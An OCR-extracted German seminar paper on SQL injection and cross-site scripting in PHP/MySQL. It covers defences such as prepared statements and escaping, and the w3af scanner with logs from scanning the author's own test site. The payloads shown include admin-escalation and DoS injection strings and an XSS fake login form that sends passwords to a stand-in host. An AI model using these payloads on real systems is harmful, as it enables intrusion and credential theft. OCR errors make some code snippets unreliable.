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0.1 Vorwort

Webanwendungen werden immer gréfer aufwéndiger und vor allem interaktiver. Mit die-
ser Entwicklung entstehen, nicht nur Vorteile und Moglichkeiten, sondern es gehen auch
gewissen Risiken damit einher. Denn jede Eingabemoglichkeit, in eine System, birgt die
Moglichkeit diese zu Missbrauchen, solange sie nicht perfekt Implementiert ist.

Die folgende Seminar-Arbeit beschéftigt sich mit der Angreifbarkeit von Webanwendun-
gen. Dabei wird auf die Risiken bei Webanwendungen, die Funktionsweise der Ausnutzung
dieser Risiken und die Schutzméglichkeiten vor solchen Angriffen eingegangen. Explizit
wird dabei SQL-Injektion und Cross-Site-Scripting erklart. Zur Analyse von Webanwen-
dungen auf die genannten Sicherheitsrisiken wird auf das Tool "w3af” zuriickgegriffen. Als
Datenbanksystem geht diese Ausarbeitung von MYSQL aus und als Programmiersprache
wird PHP vorausgesetzt.



0.2 SQL-Injektion
[SW:2009, S.525-575] [SWmP:2007, S.351-370] [Siaad:2012]

0.2.1 Was ist SQL-Injektion?

Bei einer SQL-Injektion handelt es sich, wie der Name schon sagt, um das Injizieren oder
besser gesagt das Einschleusen von SQL-Code. Der SQL-Code wird dabei in SQL-Queries
eingeschleust, die vom System ausgefiihrt werden, dabei aber Benutzereingaben verarbei-
ten beziehungsweise verwenden.

Die Funktionalitdt von SQL-Injektion basiert auf dem SQL-Syntax selbst. Dabei wer-
den SQL-Steuerzeichen benutzt um die Struktur des SQL-Query zu verdndern oder sogar
einen zusatzlichen SQL-Query hinzuzufiigen.

Also braucht man fiir eine SQL-Injektion nur eine Eingabemdoglichkeit dessen Eingabeda-
ten ungeschiitzt und ungefiltert in einen SQL-Query eingebunden werden. Mit anderen
Worten jedes Input-Feld und jeder POST-/GET-Parameter einer Webanwendung, dessen
Eingaben in einem SQL-Query verwendet werden, ist ein potentieller Risikofaktor.

0.2.2 Beispiele

Nehmen wir einen SQL-Query wie

SELECT ‘vorname‘ FROM ‘user ‘* WHERE ‘nachname‘="$VARIABLE" ;

solange $VARIABLE nur mit normalen Eingaben gefiillt ist wie z.B. {Mustermann} gibt
es keine Probleme, aber wenn jemand die Webanwendung angreifen will, kann er Steuer-
zeichen beziehungsweise Steuerbegriffe verwenden um zusétzliche Aktionen durchzufiih-
ren, also SQL-Code in den SQL-Query einzuschleusen.

Die Variable, also der Input, ist im SQL-Query durch Anfiihrungszeichen begrenzt und da
entsteht schon das erste Problem. $VARIABLE wird in der Webanwendung eingebunden
wonach dann der vollstdndige SQL-Query an die Datenbank geschickt wird und dort
erst geparsed wird. Also kann man in $VARIABLE auch Anfiithrungszeichen benutzen
und so die vorgegebene Struktur verdndern. Wenn man zum Beispiel {Mustermann” OR
‘admin‘="1} als Input bekommt wére der SQL-Query der geparsed werden wiirde auf
einmal

SELECT ‘vorname‘ FROM ‘user ¢ WHERE ‘nachname‘="Mustermann” OR
‘admin‘="1";

was einem dann statt nur der Vornamen aller Benutzer mit dem Nachnamen Mustermann
auch noch zusétzlich die Vorname aller Admins ausgibt. Bei Vornamen klingt das natiir-
lich erst einmal recht harmlos aber es geht um das Konzept und dies ldsst sich auch auf
jede andere Information wie Kontosténde, Benutzernamen, Passworter etc. anwenden und
das natiirlich nicht nur bei Abfragen sondern auch bei Daten verindernden SQL-Queries.

Es ist aber nicht nur Méglich den Vorhandenen SQL-Query zu erweitern, um die durch-

gefithrte Aktion auf Datensétze, beziehungsweise Funktionen, zu erweitern die eigentlich
nicht gewollt waren, sondern auch komplett neue eigene SQL-Queries Einzuschleusen.
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Ein SQL-Query endet mit ”;” und danach kann man einen Neuen starten. Also wire es
moglich diesen in unseren Input einzubauen. Der Input {Mustermann”; UPDATE ‘user*
SET ‘admin‘="1" WHERE ‘username‘="Hacker} wiirde aus dem SQL-Query

SELECT ‘vorname‘ FROM ‘user ¢ WHERE ‘nachname‘=”Mustermann” ;
UPDATE ‘user * SET ‘admin‘="1" WHERE ‘username‘="Hacker”;

machen. Dieser wiirde zwar weiter das gewiinschte Ergebnis Liefern aber zusétzlich noch
den User namens "Hacker” zum Admin machen.

Fiir diese Art des Angriffes braucht es natiirlich ein gewisses Wissen {iber die Struktur
des SQL-Query sowie iiber die Datenbank/Tabellen-Struktur. Es ist moglich einfach zu
raten und herumzuprobieren und da bei solchen Strukturen meist die Intuitivsten Struk-
turen/Benennungen gewéhlt werden ist das auch relativ einfach und effektiv. Wesentlich
einfacher ist es jedoch wenn man durch SQL-Injektion Fehlermeldungen hervorruft, indem
man den SQL-Query in den man Injiziert ungiiltig macht. Die Fehlermeldung gibt einem
Informationen was der SQL-Query urspriinglich machen sollte und somit auch welche Ta-
belle beziehungsweise welche Tabellen Felder benutzt wurden. Das funktioniert natiirlich
nur wenn die Webanwendungen Fehlermeldungen ausgibt.

Abgesehen von der Moglichkeit Informationen anzugreifen und neue Informationen ins
System einzufiigen kann man mit SQL-Injektion auch ein System lahm legen. Dieser so-
genannte "Denial of Service” (DoS) Angriff versucht dem Server Aufgaben zu geben die so
Arbeitsaufwendig sind das die normale Funktion, beziehungsweise die Funktionalitéit fiir
andere User, nicht mehr gegeben ist. Dies funktioniert aber natiirlich nur solange einzelne
SQL-Queries keine zeitlichen und leistungsbezogenen Begrenzungen haben.

Fiir einen solchen Angriff konnte man eine Mischung aus Repetitiven und Leistungsfres-
senden SQL Funktionen benutzen.

So wiirde durch die Eingabe von {Mustermann” UNION SELECT

benchmark(999,SHA (MD5(REPEAT ("D0S’,999)))) UNION SELECT ‘vorname‘ FROM
‘user' WHERE ‘nachname‘="Mustermann}

SELECT ‘vorname‘ FROM ‘user * WHERE ‘nachname‘="Mustermann”
UNION SELECT benchmark (999 ,SHA (MD5(REPEAT( 'DoS’ ,999))))
UNION SELECT ‘vorname‘ FROM ‘user * WHERE ‘nachname‘="Mustermann” ;

aus dem SQL-Query machen und beliebig grofle Zahlen statt 7999” fithren dann zu sehr viel
Arbeit fiir das Datenbanksystem. Abgesehen von der Anzahl der Wiederholungen kann
der Komplexitiatsgrad des SQL-Query natiirlich auch frei nach Belieben erhéht werden.
In diesem Beispiel wiirde das Datenbanksystem 999 mal den SHA1-Hash, des MD5-Hash,
des Strings berechnen der entsteht wenn man 999 mal "DoS” hintereinander schreiben
wiirde. Der zweite UNION block ist nur dazu da um das Anfiihrungszeichen wieder zu
schlieffen damit der SQL-Query giiltig bleibt. (Das ist natiirlich auch in kiirzerer Form
moglich aber diesen SQL-Query kennen wir schliefilich schon.)
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0.2.3 Schutzmoglichkeiten

Da wir das Problem jetzt ausreichend kennen gelernt haben kénnen wir uns mit der Lo-
sung oder besser gesagt den Losungsmoglichkeiten beschéaftigen.

Nicht jede Schutzmdoglichkeit schiitzt gegen alles, so gibt es zum Beispiel eine recht ein-
fache Moglichkeit das Erweitern um zusétzliche SQL-Queries zu verhindern. Und zwar
"Atomare Query” also beim Ausfithren des SQL-Query direkt dafiir zu sorgen das der
SQL-Query auch nur einen enthélt. Dadurch konnen SQL-Query auch nur die Grund-
funktion erfiillen fiir die sie Urspriinglich gedacht waren. Also mit anderen Worten ein
SELECT-Query kann nur Daten ausgeben und im Hintergrund nicht noch Datensétze
verdndern oder sogar neue Datenbankstrukturen anlegen. Diese Sicherung ist in vielen
Systemen schon standardméflig Implementiert wie zum Beispiel in PHP im MYSQL Mo-
dul das sogar nur Atomare Queries zulésst beziechungsweise im Modul MYSQLI wo man
wéhlen kann zwischen einem Atomaren-Query (mysqli_query) oder einem SQL-Query der
auch mehrere gleichzeitig abhandeln kann (mysqli_multi_query). Wenn diese Moglichkeit
nicht standardméfig gegeben ist kann man sie einfach selbst implementieren indem man
vor dem ausfithren des Query auf ”;” {iberpriift und falls eins vorhanden ist den Query
einfach nicht ausfiihrt oder den zusétzlichen SQL-Query entfernt. (Atomare Queries kon-
nen natiirlich durch Inline-Query umgangen werden aber auch dies schrénkt wieder ein.)

Eine andere Moglichkeit ist es die Eingabe die in den SQL-Query eingebunden wird zu
filtern beziehungsweise die darin vorkommenden Steuerzeichen zu Maskieren (Escapen)
wodurch alle Eingaben weiterhin giiltig bleiben da Steuerzeichen lediglich in dquivalente
Zeichen umgewandelt werden die, vom SQL-Parser, aber nicht mehr als Steuerzeichen
erkannt werden.

Man kann natiirlich manuell alle Zeichen einzeln durchgehen und codieren, falls sie Steuer-
zeichen sind, oder sich andere Kreative Funktionen bauen die Steuerzeichen zum Beispiel
einfach nur Loschen, aber auch hierfiir gibt es wieder vorgefertigte Funktionen. Bei PHP
wére diese fertig Implementierte Funktion "mysql_real_escape_string” (der unterschied zu
"mysql_escape_string” ist das die Verbindung auf den benutzen Zeichensatz untersucht
wird und somit verhindert wird das jemand das Escapen der Steuerzeichen durch fehler-
haftes Interpretieren des Zeichensatzes umgehen kann)

Die wohl beste und auch einfachste Schutzmoglichkeit jedoch bietet SQL selbst. Dabei
handelt es sich um "Prepared Statements” das sind, wie der Name schon sagt, Vorgefer-
tigte SQL-Queries bei denen die Variablen nicht von der Webanwendung sondern durch
SQL selbst mit Eingaben ersetzt werden. Das fithrt dazu das egal was in die Variablen
eingebaut wird, es das Parsen des SQL-Query nicht mehr beeinflussen kann da dies schon
geschehen ist. Das System schiitzt also zuversichtlich gegen jede bisher genannte Bedro-
hung durch SQL-Injektionen.

Ein solches Prepared Statment muss natiirlich erstmal vorbereitet werden.
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SQL: PREPARE stmt FROM ’'SELECT  ‘vorname ‘ FROM, ‘user ‘' WHERE
_, ‘nachname‘="7";

PHP: $stmt = $mysqli—>prepare(”SELECT_ ‘vorname ‘' _FROM_ ‘user
WHERE , ‘nachname ‘=7")

Nachdem das Statement einmal vorbereitet wurde kann man diesen mit Variablen/Ein-
gaben befiillen und ausfiihren.

SQL: SET @a = "$VARIABLE” ;

SQL: EXECUTE stmt USING @a;

PHP: $stmt—>bind_param (”a”, $VARIABLE);
PHP: $stmt—>execute ();

Zuerst wird die Eingabe in eine Variable fiir das Prepared Statement eingebunden und
danach wird das Statement mit den Eingebundenen Informationen ausgefiihrt. Die pure
SQL-Version ist natiirlich suboptimal, da die altbekannten Probleme wieder auftauchen,

aber hier dienen sieh eher nochmal zur Veranschaulichung was im Hintergrund passiert
(und der Vollstandigkeit halber).




0.3 Cross-Site-Scripting (XSS)
[SW:2009, S.465-504][SWmP:2007, S.371-400]

0.3.1 Was ist Cross-Site-Scripting

Cross-Site-Scripting oder auch "XSS” ist das Einschleusen von Client-seitig ausgefiithrten
Code in eine Website, wie zum Beispiel Javascript-Code. Dieser ist in HTML-<script>Blocken
gebunden. Es kann dabei nicht nur zwischen die meisten Client Interaktionen gegriffen
werden, beziehungsweise die dadurch eingegebenen Informationen abgefangen werden,
sonder auch "fake” Client Informationen eingegeben werden. Der Code kann einen Nut-
zer auch dazu zwingen eine bestimmte Seite aufzurufen, einen auf eine andere Seite
weiterleiten und da man per Javascript auch auf den DOM (Document Object Model
Tree)zugreifen kann theoretisch "On-The-Fly” eine komplett neue Website generieren.
Hierfiir werden wieder Eingabemdglichkeiten der Website missbraucht nur das diesmal
die Eingabe anderen Benutzern ungeschiitzt angezeigt werden muss.

0.3.2 Beispiele

Ob eine Eingabemoglichkeit sich fiir XSS eignet ist relativ einfach zu testen, indem man

<script type="text/javascript”>alert (”XSS”);</script>

in die Eingabemdglichkeit eingibt und auf die Seite geht bei der die Eingabe dargestellt
wird. Im Javascriptcode selbst kénnen dann alle moglichen Aktionen ausgefiithrt werden
vom loschen einzelner Website Elemente

<script type="text/javascript”>

document . getElmentByld (”ElementName” ). parentNode.
removeChild (document . getElmentByld (”ElementName” ));
</script >

bis zum erstellen von Fake Formularen wie

<form action="http://www.scriptkiddy .de/klauen.php” method="post’|>

Gib dein Passwort ein: <input type = "text” name = "passwort”/>
<input type="submit” value="LOGIN”/>
</form>

Die Moglichkeiten hier sind eigentlich nur durch die Maximalldnge der Eingabe begrenzt
wobei selbst das, durch modularisieren, jederzeit umgangen werden kann.

0.3.3 Schutzmoglichkeiten

Die ultimative Schutzmoglichkeit ist natiirlich dem Nutzer einfach keine Eingabemdglich-
keit zu geben, das dies nicht wirklich eine Alternativ ist sollte klar sein. Also muss man
sich damit beschéftigen wie man XSS Angriffe verhindern kann und dabei fallt auch recht
schnell nochmal die Analogie zur SQL-Injektion auf.

6



Die wohl intuitivste Schutzméglichkeit ist das filtern der Eingabe. Dabei kann man na-
tiirlich weiter HTML-Tags erlauben und nur den <script> Tag verbieten. Besser ist es
natiirlich HTML-Tags komplett zu verbieten was am einfachsten umsetzbar ist indem
man <&> verbietet. Dabei muss man die Zeichen natiirlich nicht wirklich vollstdndig
entfernen sondern kann sie in HTLM-Code umwandeln und somit Maskieren/Escapen.
Somit verdndert sich die Eingabe inhaltlich nicht sondern wird nur nicht mehr vom Brow-
ser interpretiert. Programmiertechnisch ist das ganze auch recht einfach umsetzbar.

$EINGABE = str_replace ("<”, "&1t”, $_POST[ 'InputFeld’]);
$EINGABE = str_replace (">", "&gt”, $SEINGABE);

Das ist natiirlich absolut, so das gar keine Tags erlaubt werden, es ist natiirlich etwas kom-
plexer nur bestimmte Tags zu verbieten, beziehungsweise nur einzelne Tags zu erlauben.
Dafiir gibt es aber auch schon eine Vorgefertigte PHP-Funktion und zwar strip_tags.

$EINGABE = strip_tags ($_POST | InputFeld’],$Whitelist)

oder die htmlspecialchars die wie vorher schon besprochen die <&>Zeichen, so wie Hoch-
kommata (’), Anfithrungszeichen (”) und das Und-Zeichen (&), verbietet.

Das verbieten der Steuerzeichen bietet hier aber auch keine absolute Sicherheit. Solange
die HTML-Tags bereits gegeben sind und die Eingabe nur in einen Tag eingebunden wird
kann man dort auch Javascript Funktionen ausfithren und den Input sogar Codieren so
das man auch wieder alles Mogliche ausfithren kann.

javascript:eval(String.fromCharCode (66,79,69,83,69)

Wenn der Schadcode einmal auf der Website ist kann man sich als Nutzer eigentlich kaum
schiitzen, abgesehen vom abschalten von Javascript, im gesamten Browser oder einer
konfigurierbaren Moglichkeit, wie zum Beispiel dem NoScript Browser-Plugin, welches es
ermoglicht Javascript nur auf Bestimmten Seiten zu erlauben. Aber auch das schrankt
die Nutzung von Webseiten wieder ein und das ist schlieflich nicht das Ziel.
Somit liegt die Verantwortung voll und ganz in den Handen des Entwicklers.




0.4 Synergie

Mit Synergie ist in diesem Fall gemeint das die beiden Angriffsarten SQL-Injektion und
Cross-Site-Scripting auch wunderbar zusammenarbeiten konnen. Da es moglich ist jede
Angriffsmoglichkeit indirekt iiber die jeweils andere durchzufiihren. Sollte eine Websi-
te zum Beispiel bei allen 6ffentlich zugénglichen Eingabemoglichkeiten gut gegen SQL-
Injektion geschiitzt sein, jedoch im Adminbereich nicht, konnte per XSS ein Admin dazu
gebracht werden, eine Eingabe, im geschiitzten (aber gegen SQL-Injektion ungeschiitz-
ten) Eingabebereich im Adminbereich, zu tdtigen. Diese Eingabe kann natiirlich eine
SQL-Injektion realisieren da die Eingabemoglichkeit nicht dagegen gesichert ist. Somit
ist es nicht nur wichtig die normal/6ffentlich zugénglichen Eingabeméglichkeiten abzude-
cken sonder auch die, die nur ausgewéhlten Nutzern zur Verfiigung stehen da sie indirekt
angesteuert werden konnen. Andersherum ist es zwar wesentlich abhéngiger von der Web-
seiten Struktur,ob es moglich ist per SQL-Injection eine XSS durchzufiihren, aber auch
per SQL-Injektion kann man XSS code einschleusen, zum Beispiel in sonst statischen
aber ,in SQL-Datenbanken, gespeicherten Content, durch Logs oder indem dadurch eine
Schutz Implementierung umgangen wird. Wenn der Schutz realisiert ist indem die Ein-
gabe gefiltert wird kann dies natiirlich durch SQL-Injektion umgangen werden, da die
Eingabemoglichkeit die benutzt wird eigentlich gar nicht XSS relevant ist.



0.5 Tool : "w3af”

"w3af” steht fiir "Web Application Attack and Aduit Framework” und ist ein Tool oder
viel mehr ein Tool-Kit welches designet wurde um Webanwendungen auf ihre Angreifbar-
keit zu untersuchen.

Jedwede Aussagen in diesem Kapitel basieren auf "http://w3af.org/” und den dort Hin-
terlegten Tutorials/Artikeln.

0.5.1 Funktionsweise

"w3af” ist in 2 Funktionale Komponenten aufgeteilt der Core welcher als verwaltende
Instanz tétig ist und nacheinander die Plugins abarbeitet, beziechungsweise Tests aus den
Plugins durchfiihrt. Das durchfithren dieser Tests ist sowohl {iber ein Graphische-User-
Interface als auch iiber Consolen-Befehle moglich. Das Graphische-User-Interface und das
Consolen-Interface sind weitestgehend gleich méchtig, somit ist der einzige Vorteil der sich
aus der Consolen Funktionalitét ergibt das automatisierte durchfiithren grofier Tests in re-
gelméfBigen Abstédnden.

Die Testverfahren sind alle samt Black-Box Testverfahren da sie bei allen Webanwendun-
gen gleichermaflen funktionieren miissen. Es ist natiirlich durchaus moglich mit eigenen
Plugins White-Box Testverfahren/Spezifische Tests zu Implementieren aber dies sollte
nur in den seltensten Fillen notig beziehungsweise sinnvoll sein.

In der Regel laufen die meisten Tests nach dem selben Schema ab. Zuerst wird die Weban-
wendung auf Interaktionsmoglichkeiten /Fingabemdoglichkeiten wie Links, Formulare und
Aufrufsparmeter (GET) untersucht. Danach werden diese Moglichkeiten Systematisch
mit Eingaben durchprobiert, welche zu Sicherheitsproblemen fithren kénnen oder eine
Sicherheitsliicke darstellen. Wie solche Eingaben aussehen kénnen und zu was sie fithren
wurde in den vorhergehenden Kapiteln iiber SQL-Injektion und Cross-Site-Scripting be-
reits ausfiihrlich besprochen.

Die wahre Herausforderung dabei ist es jedoch zu erkennen, ob eine Eingabe eine Mogli-
che Sicherheitsliicke indiziert, beziehungsweise welche Schutzmafinamen getroffen wurde
und wie diese Implementiert wurden.

Nachdem alle Eingabemoglichkeiten ausreichend evaluiert wurden, wird jede gefundene
"mogliche” Sicherheitsliicke zusammen mit der Information wie diese ausnutzbar ist in
einem Ausfiihrlichen Report dem Nutzer zur Verfiigung gestellt.

In diesem Report stehen auch alle weiterfithrenden Informationen die beim Test gesam-
melt wurden auch wenn sie nicht direkt auf eine Sicherheitsliicke hinweisen, wie zum
Beispiel was fiir ein Webserver benutzt wird oder Informationen iiber dessen Konfigura-
tion.

Soweit zu den besprochenen Sicherheitsliicken, aber "w3af” kann noch mehr als nur We-
banwendungen, nach XSS und SQL-Injekt Mdglichkeiten, zu iiberpriifen. Es kann auch
nach Fehlern suchen die es erméglichen direkt Code auszufithren, Nutzerrechte zu erlan-
gen oder Daten auf den Server zu schreiben. Dies geht jedoch iiber den Umfang dieser
Arbeit hinaus, fiir den weiter interessierten Leser gibt es unter “http://w3af.org/videos”
2 sehr ausfiihrlichen weiterfiithrende Présentationen.



0.5.2 Beispiele

Als minimales Beispiel wird hier die Website zum testen von SQL-Injektions aus dem
Anhang dienen. Die GUI ist, solange nur Standard Aktionen durchgefiihrt werden sollen,
recht simple. Im Linken Reiter ein Profil auswéhlen, mit dem die Webanwendung unter-
sucht werden soll oder im Mittleren Reiter selbst eine Konfiguration erstellen und dabei
Tests aus den Verschiedenen Plugins auswéhlen. Danach das Ziel eingeben und "Start”
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Accept-Encoding: gzip
Accept: */*

User-Agent: w3af.sourceforge.net

>

il

E

013 A7

&0

Abbildung 3: Information iiber Webserver Art/Version und Linux Distribution
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Request | Response

Raw | Headers

GET http://ovanier.de/inject/ HTTP/1.1

Host: ovanier.de

Cookie: PHPSESSID=ppah/mkk20gv991lnfjjkgl4Ba7
Accept-Encoding: gzip

Accept: */*

User-Agent: w3af.sourceforge.net
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Abbildung 4: Information {iber erzeugten Cookie
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was found in the request with id 25.

The URL "http://ovanier.de/" has the following allowed methods: 5= 0 g = Bl elaflel i 2o This information

Request Response

Raw | Headers

OPTIONS http://ovanier.de/ HTTP/1.1

Host: ovanier.de

Cookie: PHPSESSID=ppah/mkk20gv991lnfjjkgl4Ba7
Accept-Encoding: gzip

Accept: */*

User-Agent: w3af.sourceforge.net
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Abbildung 5: Information iiber erlaubte HTTP Methoden
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Request | Response
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POST http://ovanier.de/inject/login.php HTTP/1.1
Accept-Encoding: gzip
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User-Agent: w3af.sourceforge.net

Host: ovanier.de

Cookie: PHPSESSID=ppah7mkk20gv991lnfjjkgl4BGa7
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Abbildung 6: Information iiber lokale Dateistruktur
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SQL injection in a MySQL database was found at: "http://ovanier de/inject/login.php”, using HTTP method POST.

The sent post-data was:
“formular=2&username=d'z"0&password=FrAmE30.&nachname=Smith&vorname=Smith". |11 0]

. This vulnerability was found in the request with id 12811,

‘;‘ﬁ L3
Request Response
Raw | Headers

POST http://ovanier.de/inject/login.php HTTP/1.1
Accept-Encoding: gzip

Accept: */*

User-Agent: w3af.sourceforge.net

Host: ovanier.de

Cookie: PHPSESSID=ppah7mkk2Qgv99lnfjjkgld4@a7
Content-Type: application/x-www-form-urlencoded

formular=2&username=d%27=z%220&passwo rd=FrAmE30 . &nachname=Smith&vorname=Smith

@3 013 A7 =o

Abbildung 7: Die Moglichkeit einer SQL-Injektion mit Angabe des Formular und Formular-

feldes

13



0.5.3 Grenzen

Die Grenzen von "w3af” sind weitestgehend an den Black-Box Grundsatz gebunden und
kéonnen durch manuelle Erweiterung iibergangen werden. Wobei es sehr viel Aufwand
wire ein White-Box Test-Plugin fiir eine einzelne Seite zu schreiben, da dieses bei (fast)
keine anderen Webseite Funktionieren wiirde. Also kénne man durchaus sagen das die
Grenze des ganzen Konzeptes an der Black-Box héngt. Komplizierte Eingabemethoden
oder so ziemlich jede selbstgebaute Eingabemoglichkeit wird von "w3af” nicht erkannt und
somit auch nicht getestet. Fehler die erst offengelegt werden durch bestimmte Javascript
aufrufe oder Ajax-Calls werden auch nicht {iberpriift. Auch Exploits in der Buisness Logic
oder in Kodierungen werden nicht weiter behandelt. All diese Faktoren werden nicht durch
"w3af” beachtet da Automatisches Testen gar nicht oder nur sehr schwer, beziehungsweise
ineffizient, in der Lage ist diese Faktoren abzudecken.
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.1 Anhang;:

.1.1 Code

Der Code liegt unter "http://www.ovanier.de/w3af/”.

Die moglichen Eingaben die in den vorhergehenden Kapiteln besprochen wurden kénnen
in diesen extrem unsicheren Webseiten ausprobiert werden und die Schutzmoglichkeiten
dort recht einfach Implementiert werden. Die Webseiten sind also fiir das personliche
nacharbeiten und ausprobieren gedacht.

WWW

| inject-example
auth.php
db.php
index.php
login.php
logout.php

| xss-example
auth.php
db.php
index.php
login.php
logout.php

.1.2 Literaturverzeichnis
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Autor Tobias Wassermann
ISBN 978-3-8266-1754-6

Zitierlink (UniBib) | http://www.ub.tu-dortmund.de/katalog/titel /1188639

SQL injection attacks and defense

Kiirzel Siaad:2012
Autor Justin Clarke
ISBN 978-1-59749-973-6
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